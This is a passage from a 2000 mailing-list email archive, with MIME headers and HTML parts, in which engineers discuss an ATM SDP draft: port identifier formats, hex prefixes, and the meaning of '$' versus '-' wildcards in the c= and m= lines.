>2. The draft says ".. to cover all cases, the <portid> can consist of upto
34 

>alphanumeric charecters. ". My understanding of 'alphanumeric' is strings
like 

>"mhussain_32". If we use such identifiers for a port, is there going to be
some 

>kind of a mapping between the port number and the port identifier? Since so
far 

>as I gather ports are identified only by a 32bit number.



See comment above.



> 

>     These are also problems in migrating from the older draft to the newer


>one. 

>The older draft qualified vcci, bcg, port id etc as "decimal numbers". With


>this 

>new definition of <portid>, code written around the old draft will be
broken 

>:-(. Can we come up with a scheme that extends the old definitions without 

>breaking old code?



I am going to be following Naren's suggestion that: "There are a few places
(NSAP address, IEEE ID etc) where ONLY hex digits can appear. In these cases
I am fine with having no hex prefixes. My only concern was places where a
hex or a decimal may appear." In these cases where decimal or hex values are
permitted, I'll be requiring explicit 0x prefixes to distinguish decimal
from hex. Also, see my comment, above,  about cleaning up the alphanumeric
port ID. I hope this also helps backwards compatibility with the code that
your team wrote around the earlier draft. However, please note that there is
risk associated with writing code around specifications that are in flux.
You should expect minor changes until the document is ratified. This is just
the way things are.



On another note, I think the consensus, by articulation or silence, in this
group is to disallow the implicit virtualConnectionId naming convention. I
will do that too. This is what Sean Sheedy, Naren Tulpule and you wanted.



>     Regarding the virtual connection ID for the "m=" line, the current
draft 

>does not explicitly allow/ disallow the sub-parameters to be a dollar. If I
am 

>not wrong, the oldest draft explicitly disallowed bcg from taking on a
dollar. 

>Could such a restriction be included in the draft?



The older version did not disallow wildcarding the <bcg>. It was omitted as
an oversight. Actually, the <bcg> was added in the description of the
VirtualConnectionId without adding it into the wildcarding description. That
was a typo and not a  feature. Since there is no reason why  <bcg>
wildcarding should be disallowed, I will not be adding the restriction you
requested.



> 

>Rajesh, could you also consider including a formal grammar specification
for 

>ATM 

>SDP? ABNF might be a good choice of representation. This will help clear
any 

>ambiguities that may arise as the grammar will be the standard of reference


>when 

>building a parser or encoder for ATM sdp.



I do not think I will have a formal ABNF grammar in by the next draft, which
I hope to issue in a few days. Naren has provided me with one to start with
(Thanks!), but it needs some work. I plan to have it in the next draft after
the next.



> 

> 

>Thanx, 

>Mahamood 

> 

>





- Rajesh Kumar 

         

------------------------------------------------------- 

Rajesh Kumar                             :         : 

Carrier Packet Voice                    .|.       .|. 

Cisco Systems                         .:|||:.   .:|||:. 

San Jose, California               ..:|||||||:.:|||||||:.. 

408 527 0811                       C i s c o S y s t e m s 

rkumar@cisco.com  

------------------------------------------------------- 

          

  

 




- Rajesh Kumar
        
-------------------------------------------------------
Rajesh Kumar                             :         :
Carrier Packet Voice                    .|.       .|.
Cisco Systems                         .:|||:.   .:|||:.
San Jose, California               ..:|||||||:.:|||||||:..
408 527 0811                       C i s c o S y s t e m s
rkumar@cisco.com  
-------------------------------------------------------
          
 
 



------_=_NextPart_001_01C031F0.F5A865E0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3018.900" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>The 
"c=" line is applicable to other type of networks as well. It has been 
implemented in the IP network:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=IN 
IP4 &lt;IP address&gt;</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000>Furthermore, there was no restriction on either MGC or 
MG must provide the network type. So, if the MGC is bearer independent, it would 
send a '$' to let the MG decide which type of network is. Similarly, if the MGC 
knew the network type, but not the address type, it can let the MG to decide the 
bearer technologies. So, all of below formats should be 
valid:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c= $ $ 
$</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=IN $ 
$</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=IN 
IP4 $</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=ATM 
$ $</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c= ATM 
NSAP $</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>In 
addition to the "c=" line, the "m=" line also allows $ in many arguments 
fields.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>The 
difference between "$" and "-" is that "$" means the argument is in use, but the 
value has been determined. The recipient of the SDP should provide/return the 
value, while "-" means the argument is not in use (therefore, it should be 
ignored).</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000>However, if "$" seems caused potential interop 
problems. Because a MGC can let as many fields be "$" as it wishes, while a MG 
may rely on the MGC's to determine the value of&nbsp;several arguments. This is 
not a protocol issue, but an implementation agreement / interop 
issue.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=883275012-09102000>Regards, Sophia</SPAN></FONT></DIV>
<DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
size=2>-----Original Message-----<BR><B>From:</B> Watson, Mark 
[MAIFP:EP11-M:EXCH] <BR><B>Sent:</B> Monday, October 09, 2000 7:01 
AM<BR><B>To:</B> 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'<BR><B>Subject:</B> 
FW: Question on ATM SDP draft<BR><BR></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=120545910-09102000>Anyone have any opinions on this ?</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=120545910-09102000><BR>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=120545910-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=120545910-09102000>Mark 
Watson</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=120545910-09102000>Nortel Networkd</SPAN></FONT></DIV>
<DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
size=2>-----Original Message-----<BR><B>From:</B> Watson, Mark 
[mailto:mwatson@europem01.nt.com]<BR><B>Sent:</B> 28 September 2000 
10:02<BR><B>To:</B> 'Rajesh Kumar'<BR><B>Cc:</B> 
atmsdp@eng.fore.com<BR><B>Subject:</B> RE: Question<BR><BR></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000>Hi,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>Minor 
point, but on the 'c=' line, shouldn't we describe this as being the same syntax 
as in existing SDP:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000>c=&lt;NetworkType&gt; &lt;AddressType&gt; 
&lt;Address&gt;</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>and 
say that we are just introducing some new values for &lt;AddressType&gt; and 
associated formats for &lt;Address&gt;. I would like to think that the new 
&lt;AddressType&gt;s would be valid for all values of &lt;NetworkType&gt; not 
just 'ATM' (I'm thinking more of future values of &lt;NetworkType&gt; than the 
existing values.)</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>The 
current description kind of implies that the new Address Types are only used 
when &lt;NetworkType&gt;=ATM.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>Mark 
Watson</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>Nortel 
Networks</SPAN></FONT></DIV>
<DIV><SPAN class=090565608-28092000></SPAN><FONT face=Tahoma><FONT size=2><SPAN 
class=090565608-28092000><FONT color=#0000ff 
face=Arial>&nbsp;</FONT></SPAN></FONT></FONT></DIV>
<DIV><FONT face=Tahoma><FONT size=2><SPAN 
class=090565608-28092000></SPAN></FONT></FONT>&nbsp;</DIV>
<DIV><FONT face=Tahoma><FONT size=2><SPAN 
class=090565608-28092000>&nbsp;</SPAN>-----Original Message-----<BR><B>From:</B> 
Rajesh Kumar [mailto:rkumar@cisco.com]<BR><B>Sent:</B> 26 September 2000 
22:04<BR><B>To:</B> Mackey, Michael; 'Rajesh Kumar'<BR><B>Cc:</B> Somers, Mark; 
atmsdp@eng.fore.com<BR><B>Subject:</B> Question<BR><BR></DIV></FONT>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px"></FONT>Michael,<BR>Yes. h.248 allows "$" 
  for the IP address. Therefore, the same should be OK for the ATM 
  address.<BR><BR>My question is: Isn't this semantically the same as the "-"? 
  This is how it is used in h.248. In this case, do we need the "-"? For 
  backwards compatibility, do we want to permit a "$" and a "-" as synonyms for 
  the 'c' line?<BR><BR>Rajesh<BR>At 06:13 AM 9/26/00 -0400, Mackey, Michael 
  wrote: <BR><FONT face=arial size=2>
  <BLOCKQUOTE cite type="cite">Hi Rajesh ...</FONT><BR>&nbsp;&nbsp;&nbsp; I 
    have a small question about the c= line ... you say in the document that it 
    can be set to <BR>&nbsp;<BR><FONT face=arial>c=ATM &lt;ATMaddressType&gt; 
    &lt;ATMaddress&gt; </FONT><BR>&nbsp;<BR><FONT face=arial>and if they are not 
    known that ATMaddressType and ATMaddress can be set to&nbsp;&nbsp; '-' , 
    would I be correct in presuming that the use of $ is also allowed for this 
    field ... if yes then should it be mentioned in the document. I know Megaco 
    allows all fields in SDP to be substituted with $ but since you explicitly 
    say it for the vcci maybe it might be better to add it 
    in.</FONT><BR>&nbsp;<BR><FONT face=arial size=2><B><I>Michael 
    Mackey,</FONT></B></I><BR>Marconi Communications,</B></I><BR>Tel: +353 1 
    6638407</B></I><BR>- <A href="http://www.marconi.com/">www.marconi.com</A> 
    -</B></I></B></I> 
    <BLOCKQUOTE><FONT face=tahoma size=2>
      <DL>
        <DD>-----Original Message----- 
        <DD>From:</B> Rajesh Kumar [<A href="mailto:rkumar@cisco.com" 
        eudora="autourl">mailto:rkumar@cisco.com</A>] 
        <DD>Sent:</B> Tuesday, September 26, 2000 12:34 AM 
        <DD>To:</B> mhussain@hss.hns.com; atmsdp@eng.fore.com 
        <DD>Subject:</B> ATM SDP inputs from Naren and 
        Mahamood<BR><BR></FONT><FONT color=#0000ff>
        <DD>Mahamood and Naren, 
        <DD>I have concatenated, below, several of your emails into one to 
        expedite my response. Hope this clears up the air. Thanks to you&nbsp; 
        for your latest round of inputs. These are specially significant to me 
        since your companies (Trillium and Hughes Software) are actually 
        implementing the draft.</FONT> 
        <DD>Here are some responses, in-line. 
        <DD>At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 
        <DD>&gt; 
        <DD>&gt;1. Why does a port number need 32 digits for representation? 
        Won't 32 bits 
        <DD>&gt;suffice? I am not aware of any machine that uses such a large 
        number range &gt;for its ports. Kindly clarify.<BR><BR><FONT 
        color=#0000ff>
        <DD>See <A 
        href="http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt" 
        eudora="autourl">http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt</A>. 
        It refers to rfc2737 and rfc2233. In brief, it specifies the port 
        identifier as a variable size octet string of up to 32 octets. Although 
        the earlier drafts limited port ID to 32 bits (4 octets), it was 
        considered necessary to extend it to 32. I have a little clean-up to do 
        regarding the "34 alphanumeric" characters and I'll do it in the next 
        draft which I will circulate on the mailing list. Basically, I will make 
        it conform to what the IETF has standardized/recommended so far in its 
        physical topology MIBs. And, yes, there are implementations in which the 
        port ID is more than 32 bits e.g. cases in which there is a 
        six-byte&nbsp; IEEE 802 MAC address used as a physical port 
        ID.<BR><BR></FONT>
        <DD>&gt; 
        <DD>&gt;2. The draft says ".. to cover all cases, the &lt;portid&gt; can 
        consist of upto 34 
        <DD>&gt;alphanumeric charecters. ". My understanding of 'alphanumeric' 
        is strings like 
        <DD>&gt;"mhussain_32". If we use such identifiers for a port, is there 
        going to be some 
        <DD>&gt;kind of a mapping between the port number and the port 
        identifier? Since so far 
        <DD>&gt;as I gather ports are identified only by a 32bit 
        number.<BR><BR><FONT color=#0000ff>
        <DD>See comment above.<BR><BR></FONT>
        <DD>&gt; 
        <DD>&gt;&nbsp;&nbsp;&nbsp;&nbsp; These are also problems in migrating 
        from the older draft to the newer 
        <DD>&gt;one. 
        <DD>&gt;The older draft qualified vcci, bcg, port id etc as "decimal 
        numbers". With 
        <DD>&gt;this 
        <DD>&gt;new definition of &lt;portid&gt;, code written around the old 
        draft will be broken 
        <DD>&gt;:-(. Can we come up with a scheme that extends the old 
        definitions without 
        <DD>&gt;breaking old code?<BR><BR><FONT color=#0000ff>
        <DD>I am going to be following Naren's suggestion that: "There are a few 
        places (NSAP address, IEEE ID etc) where ONLY hex digits can appear. In 
        these cases I am fine with having no hex prefixes. My only concern was 
        places where a hex or a decimal may appear." In these cases where 
        decimal or hex values are permitted, I'll be requiring explicit 0x 
        prefixes to distinguish decimal from hex. Also, see my comment, 
        above,&nbsp; about cleaning up the alphanumeric port ID. I hope this 
        also helps backwards compatibility with the code that your team wrote 
        around the earlier draft. However, please note that there is risk 
        associated with writing code around specifications that are in flux. You 
        should expect minor changes until the document is ratified. This is just 
        the way things are.<BR><BR>
        <DD>On another note, I think the consensus, by articulation or silence, 
        in this group is to disallow the implicit virtualConnectionId naming 
        convention. I will do that too. This is what Sean Sheedy, Naren Tulpule 
        and you wanted.<BR><BR></FONT>
        <DD>&gt;&nbsp;&nbsp;&nbsp;&nbsp; Regarding the virtual connection ID for 
        the "m=" line, the current draft 
        <DD>&gt;does not explicitly allow/ disallow the sub-parameters to be a 
        dollar. If I am 
        <DD>&gt;not wrong, the oldest draft explicitly disallowed bcg from 
        taking on a dollar. 
        <DD>&gt;Could such a restriction be included in the draft?<BR><BR><FONT 
        color=#0000ff>
        <DD>The older version did not disallow wildcarding the &lt;bcg&gt;. It 
        was omitted as an oversight. Actually, the &lt;bcg&gt; was added in the 
        description of the VirtualConnectionId without adding it into the 
        wildcarding description. That was a typo and not a&nbsp; feature. Since 
        there is no reason why&nbsp; &lt;bcg&gt; wildcarding should be 
        disallowed, I will not be adding the restriction you 
        requested.<BR><BR></FONT>
        <DD>&gt; 
        <DD>&gt;Rajesh, could you also consider including a formal grammar 
        specification for 
        <DD>&gt;ATM 
        <DD>&gt;SDP? ABNF might be a good choice of representation. This will 
        help clear any 
        <DD>&gt;ambiguities that may arise as the grammar will be the standard 
        of reference 
        <DD>&gt;when 
        <DD>&gt;building a parser or encoder for ATM sdp.<BR><BR><FONT 
        color=#0000ff>
        <DD>I do not think I will have a formal ABNF grammar in by the next 
        draft, which I hope to issue in a few days. Naren has provided me with 
        one to start with (Thanks!), but it needs some work. I plan to have it 
        in the next draft after the next.<BR><BR></FONT>
        <DD>&gt; 
        <DD>&gt; 
        <DD>&gt;Thanx, 
        <DD>&gt;Mahamood 
        <DD>&gt; 
        <DD>&gt;<BR><BR><BR><BR>
        <DD>- Rajesh Kumar<FONT color=#800000 size=2> 
        <DD>&nbsp;<X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB></FONT> 

        <DD>------------------------------------------------------- 
        <DD>Rajesh 
        Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 
        <DD>Carrier Packet 
        Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|. 
        <DD>Cisco 
        Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        .:|||:.&nbsp;&nbsp; .:|||:. 
        <DD>San Jose, 
        California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        ..:|||||||:.:|||||||:.. 
        <DD>408 527 
        0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        C i s c o S y s t e m s 
        <DD>rkumar@cisco.com&nbsp; 
        <DD>-------------------------------------------------------<FONT 
        color=#800000 size=2> 
        <DD>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
        <DD>&nbsp;</FONT><FONT color=#800000 face=garamond> 
        <DD>&nbsp;</FONT></I></I></DD></DL></BLOCKQUOTE>
    <DL></DL><BR></I><BR><BR>- Rajesh Kumar<BR><FONT color=#800000 
    size=2>&nbsp;<X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB><BR></FONT>-------------------------------------------------------<BR>Rajesh 
    Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<BR>Carrier Packet 
    Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<BR>Cisco 
    Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    .:|||:.&nbsp;&nbsp; .:|||:.<BR>San Jose, 
    California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    ..:|||||||:.:|||||||:..<BR>408 527 
    0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    C i s c o S y s t e m s<BR>rkumar@cisco.com&nbsp; 
    <BR>-------------------------------------------------------<BR><FONT 
    color=#800000 size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <BR>&nbsp;<BR></FONT><FONT color=#800000 
    face=Garamond><I>&nbsp;<BR></FONT></I></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C031F0.F5A865E0--

From confctrl-owner  Mon Oct  9 06:34:09 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA03076
	for confctrl-outgoing; Mon, 9 Oct 2000 06:34:09 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA03071
	for <confctrl@zephyr.isi.edu>; Mon, 9 Oct 2000 06:34:07 -0700 (PDT)
Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA27967
	for <confctrl@isi.edu>; Mon, 9 Oct 2000 06:34:17 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars002.nortel.com; Mon, 9 Oct 2000 14:33:29 +0100
Received: by zhard00m.europe.nortel.com 
          with Internet Mail Service (5.5.2652.35) id <4JRFMARQ>;
          Mon, 9 Oct 2000 14:33:27 +0100
Message-ID: <61ABD11436FED21192440000F81F3E360304C317@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "Sophia Scoggins" <scoggins@nortelnetworks.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'atmsdp@eng.fore.com'" <atmsdp@eng.fore.com>
Subject: RE: Question on ATM SDP draft
Date: Mon, 9 Oct 2000 14:33:17 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C031F5.7B4BFD20"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C031F5.7B4BFD20
Content-Type: text/plain;
	charset="ISO-8859-1"

Sophia,
 
I was asking whether the <AddressType> field is independent of the
<NetworkType> field. I think it should be, if it is going to be possible to
keep the MGC 'bearer indepenent'.
 
This would allow the gateway address to be interpreted without understanding
the <NetworkType> field. You could even have:
 
c=$ NSAP <address>
 
in the case that a gateway supports multiple network types which can all use
NSAP addressing.
 
It would also mean that the presently defined values of <AddressType> would
be valid with all future values of <NetworkType>, as far as this made sense
for the specific technology.
 
Regards...Mark

-----Original Message-----
From: Scoggins, Sophia [mailto:scoggins@americasm10.nt.com]
Sent: 09 October 2000 14:01
To: Watson, Mark ; 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'
Subject: RE: Question on ATM SDP draft


The "c=" line is applicable to other type of networks as well. It has been
implemented in the IP network:
 
c=IN IP4 <IP address>
 
Furthermore, there was no restriction on either MGC or MG must provide the
network type. So, if the MGC is bearer independent, it would send a '$' to
let the MG decide which type of network is. Similarly, if the MGC knew the
network type, but not the address type, it can let the MG to decide the
bearer technologies. So, all of below formats should be valid:
 
c= $ $ $
c=IN $ $
c=IN IP4 $
c=ATM $ $
c= ATM NSAP $
 
In addition to the "c=" line, the "m=" line also allows $ in many arguments
fields.
 
The difference between "$" and "-" is that "$" means the argument is in use,
but the value has been determined. The recipient of the SDP should
provide/return the value, while "-" means the argument is not in use
(therefore, it should be ignored).
 
However, if "$" seems caused potential interop problems. Because a MGC can
let as many fields be "$" as it wishes, while a MG may rely on the MGC's to
determine the value of several arguments. This is not a protocol issue, but
an implementation agreement / interop issue.
 
 
Regards, Sophia
-----Original Message-----
From: Watson, Mark [MAIFP:EP11-M:EXCH] 
Sent: Monday, October 09, 2000 7:01 AM
To: 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'
Subject: FW: Question on ATM SDP draft


Anyone have any opinions on this ?

Regards,
 
Mark Watson
Nortel Networkd
-----Original Message-----
From: Watson, Mark [mailto:mwatson@europem01.nt.com]
Sent: 28 September 2000 10:02
To: 'Rajesh Kumar'
Cc: atmsdp@eng.fore.com
Subject: RE: Question


Hi,
 
Minor point, but on the 'c=' line, shouldn't we describe this as being the
same syntax as in existing SDP:
 
c=<NetworkType> <AddressType> <Address>
 
and say that we are just introducing some new values for <AddressType> and
associated formats for <Address>. I would like to think that the new
<AddressType>s would be valid for all values of <NetworkType> not just 'ATM'
(I'm thinking more of future values of <NetworkType> than the existing
values.)
 
The current description kind of implies that the new Address Types are only
used when <NetworkType>=ATM.
 
Regards,
 
Mark Watson
Nortel Networks
 
 
 -----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: 26 September 2000 22:04
To: Mackey, Michael; 'Rajesh Kumar'
Cc: Somers, Mark; atmsdp@eng.fore.com
Subject: Question



Michael,
Yes. h.248 allows "$" for the IP address. Therefore, the same should be OK
for the ATM address.

My question is: Isn't this semantically the same as the "-"? This is how it
is used in h.248. In this case, do we need the "-"? For backwards
compatibility, do we want to permit a "$" and a "-" as synonyms for the 'c'
line?

Rajesh
At 06:13 AM 9/26/00 -0400, Mackey, Michael wrote: 


Hi Rajesh ...
    I have a small question about the c= line ... you say in the document
that it can be set to 
 
c=ATM <ATMaddressType> <ATMaddress> 
 
and if they are not known that ATMaddressType and ATMaddress can be set to
'-' , would I be correct in presuming that the use of $ is also allowed for
this field ... if yes then should it be mentioned in the document. I know
Megaco allows all fields in SDP to be substituted with $ but since you
explicitly say it for the vcci maybe it might be better to add it in.
 
Michael Mackey,
Marconi Communications,
Tel: +353 1 6638407
- www.marconi.com <http://www.marconi.com/>  - 



-----Original Message----- 

From: Rajesh Kumar [ mailto:rkumar@cisco.com <mailto:rkumar@cisco.com> ] 

Sent: Tuesday, September 26, 2000 12:34 AM 

To: mhussain@hss.hns.com; atmsdp@eng.fore.com 

Subject: ATM SDP inputs from Naren and Mahamood



Mahamood and Naren, 

I have concatenated, below, several of your emails into one to expedite my
response. Hope this clears up the air. Thanks to you  for your latest round
of inputs. These are specially significant to me since your companies
(Trillium and Hughes Software) are actually implementing the draft. 

Here are some responses, in-line. 

At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 

> 

>1. Why does a port number need 32 digits for representation? Won't 32 bits 

>suffice? I am not aware of any machine that uses such a large number range
>for its ports. Kindly clarify.



See http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt
<http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt> . It
refers to rfc2737 and rfc2233. In brief, it specifies the port identifier as
a variable size octet string of up to 32 octets. Although the earlier drafts
limited port ID to 32 bits (4 octets), it was considered necessary to extend
it to 32. I have a little clean-up to do regarding the "34 alphanumeric"
characters and I'll do it in the next draft which I will circulate on the
mailing list. Basically, I will make it conform to what the IETF has
standardized/recommended so far in its physical topology MIBs. And, yes,
there are implementations in which the port ID is more than 32 bits e.g.
cases in which there is a six-byte  IEEE 802 MAC address used as a physical
port ID.



> 

>2. The draft says ".. to cover all cases, the <portid> can consist of upto
34 

>alphanumeric charecters. ". My understanding of 'alphanumeric' is strings
like 

>"mhussain_32". If we use such identifiers for a port, is there going to be
some 

>kind of a mapping between the port number and the port identifier? Since so
far 

>as I gather ports are identified only by a 32bit number.



See comment above.



> 

>     These are also problems in migrating from the older draft to the newer


>one. 

>The older draft qualified vcci, bcg, port id etc as "decimal numbers". With


>this 

>new definition of <portid>, code written around the old draft will be
broken 

>:-(. Can we come up with a scheme that extends the old definitions without 

>breaking old code?



I am going to be following Naren's suggestion that: "There are a few places
(NSAP address, IEEE ID etc) where ONLY hex digits can appear. In these cases
I am fine with having no hex prefixes. My only concern was places where a
hex or a decimal may appear." In these cases where decimal or hex values are
permitted, I'll be requiring explicit 0x prefixes to distinguish decimal
from hex. Also, see my comment, above,  about cleaning up the alphanumeric
port ID. I hope this also helps backwards compatibility with the code that
your team wrote around the earlier draft. However, please note that there is
risk associated with writing code around specifications that are in flux.
You should expect minor changes until the document is ratified. This is just
